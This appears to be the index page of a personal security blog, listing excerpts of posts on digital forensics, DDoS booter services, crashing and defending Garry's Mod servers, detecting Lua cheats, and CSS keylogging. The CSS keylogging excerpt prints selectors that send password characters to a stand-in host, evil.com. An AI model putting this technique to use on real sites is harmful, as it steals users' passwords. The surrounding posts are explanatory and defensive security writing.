Cybersecurity
- State of HackerOne
- Bad OPSEC
- How To Crash Servers
- Problems of Digital Forensics
- Detect DoS attacks in Garry’s Mod
- A method to detect Lua cheats
Featured Posts
Problems of Digital Forensics
The main goal of digital forensics is the extraction of data from electronic evidence and its subsequent analysis and processing into usable information. A major challenge lies in the flexibilization…
Better solution for CSS keylogging
The described keylogger is avaliable on my GitHub. How it works A primitive approach is a one-to-one mapping between characters and selectors: input[type="password"][value$="a"] { background-image: url("http://evil.com/?key=a"); } input[type="password"][value$="b"] { background-image:…
Bad OPSEC
Buying a cheap DDoS booter service does not require any technical knowledge or brilliance. It's rather a trivial task to make smaller services on the internet unavailable, but the person…
A method to detect Lua cheats
The code I wrote for this article can be found here. When detecting cheats in the game Garry’s Mod you have countless options. Suppose we want to detect a known…
How To Crash Servers
In a previous blog I discussed how to detect DoS attacks in the game Garry's Mod. TL;DR: Measure the time it takes the server to process a clients requests. If…
Detect DoS attacks in Garry’s Mod
The code discussed in this post is part of my open source anticheat and can be found here. In the game Garry's Mod, client and server can communicate via Netmessages.…
